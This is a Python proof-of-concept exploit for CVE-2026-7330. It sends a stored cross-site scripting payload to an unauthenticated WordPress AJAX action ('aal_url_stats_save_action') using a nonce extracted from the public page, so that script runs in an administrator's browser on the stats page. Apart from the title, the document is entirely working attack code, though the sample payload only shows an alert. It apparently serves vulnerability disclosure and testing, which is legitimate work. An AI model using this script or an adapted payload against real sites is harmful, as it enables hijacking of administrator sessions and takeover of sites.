CVE-2026-7330

#!/usr/bin/env python3 import requests def exploit(target_url, nonce): """ Proof of Concept for CVE-2026-7330 Sends a malicious payload to the unauthenticated AJAX endpoint. """ ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious script to be stored and executed in admin browser xss_payload = '"><script>alert(1);</script><"' payload_data = { 'action': 'aal_url_stats_save_action', 'url': xss_payload, 'nonce': nonce } try: response = requests.post(ajax_url, data=payload_data) if response.status_code == 200: print(f"[+] Payload sent successfully to {target_url}") print(f"[+] Check the admin stats page to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target and nonce extracted from the page target = "http://example.com" nonce_value = "extracted_public_nonce" exploit(target, nonce_value)

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